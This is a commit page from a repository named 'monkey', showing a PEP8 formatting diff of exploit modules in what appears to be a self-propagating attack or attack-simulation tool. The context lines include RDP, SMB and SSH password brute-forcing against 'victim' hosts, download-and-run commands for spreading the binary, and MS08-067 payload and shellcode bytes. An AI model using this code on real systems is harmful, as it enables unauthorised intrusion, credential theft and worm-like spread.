p34709852
/
monkey
forked from p15670423/monkey
1
0
Fork 1
Code Issues Pull Requests Projects Releases Wiki Activity

Bunch of generic PEP8 improvements

This commit is contained in:
acepace 2016-08-20 17:03:49 +03:00
parent 0eb655c44b
commit 88951f920d
6 changed files with 53 additions and 46 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
chaos_monkey/exploit/__init__.py
View File

@ -2,7 +2,6 @@ from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []

16
chaos_monkey/exploit/rdpgrinder.py
View File

@ -13,7 +13,7 @@ from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
from tools import build_monkey_commandline,report_failed_login
from tools import build_monkey_commandline, report_failed_login
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
@ -27,7 +27,7 @@ LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
if kw.has_key('failure'):
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
@ -232,7 +232,7 @@ class RdpExploiter(HostExploiter):
return True
if not host.os.get('type'):
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
if is_open:
host.os['type'] = 'windows'
return True
@ -263,9 +263,13 @@ class RdpExploiter(HostExploiter):
cmdline = build_monkey_commandline(host, depth-1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline}
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
@ -296,7 +300,7 @@ class RdpExploiter(HostExploiter):
host.learn_credentials(self._config.psexec_user, password)
break
else:
#failed exploiting with this user/pass
# failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password)
except Exception, exc:

17
chaos_monkey/exploit/smbexec.py
View File

@ -6,12 +6,12 @@ from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
from tools import build_monkey_commandline,report_failed_login
from tools import build_monkey_commandline, report_failed_login
try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
@ -23,7 +23,6 @@ except ImportError, exc:
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
@ -45,12 +44,12 @@ class SmbExploiter(HostExploiter):
return True
if not host.os.get('type'):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host)
else:
is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
is_nb_open, _ = check_port_tcp(host.ip_addr, 139)
if is_nb_open:
host.os['type'] = 'windows'
return host.os.get('type') in self._target_os_type
@ -89,7 +88,7 @@ class SmbExploiter(HostExploiter):
exploited = True
break
else:
#failed exploiting with this user/pass
# failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password)
except Exception, exc:
@ -108,13 +107,13 @@ class SmbExploiter(HostExploiter):
else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth-1)
cmdline += build_monkey_commandline(host, depth - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,))
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
if hasattr(rpctransport, 'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.

4
chaos_monkey/exploit/sshexec.py
View File

@ -3,7 +3,7 @@ import logging
import time
from itertools import product
import monkeyfs
from tools import build_monkey_commandline,report_failed_login
from tools import build_monkey_commandline, report_failed_login
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
@ -72,7 +72,7 @@ class SSHExploiter(HostExploiter):
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
user, curpass, exc)
report_failed_login(self,host,user,curpass)
report_failed_login(self, host, user, curpass)
continue
if not exploited:

14
chaos_monkey/exploit/tools.py
View File

@ -142,7 +142,7 @@ class WmiTools(object):
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff,1)[0]
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
@ -163,6 +163,7 @@ class WmiTools(object):
return query
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
@ -180,7 +181,8 @@ class SmbTools(object):
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
host, username, password)
try: smb.logoff()
try:
smb.logoff()
except: pass
return None
@ -290,8 +292,10 @@ class SmbTools(object):
share_name, host, exc)
continue
finally:
try: smb.logoff()
except: pass
try:
smb.logoff()
except:
pass
smb = None
@ -393,7 +397,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2**32) or \
host.os.get('machine','').lower() == platform.machine().lower():
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path

11
chaos_monkey/exploit/win_ms08_067.py
View File

@ -64,7 +64,7 @@ SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41'
@ -78,7 +78,7 @@ PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 ='\x41\x00\x5c\x00'
PAYLOAD_2003 = '\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
@ -165,10 +165,11 @@ class SRVSVC_Exploit(object):
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
def __init__(self):
self._config = __import__('config').WormConfiguration
@ -180,7 +181,7 @@ class Ms08_067_Exploiter(HostExploiter):
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):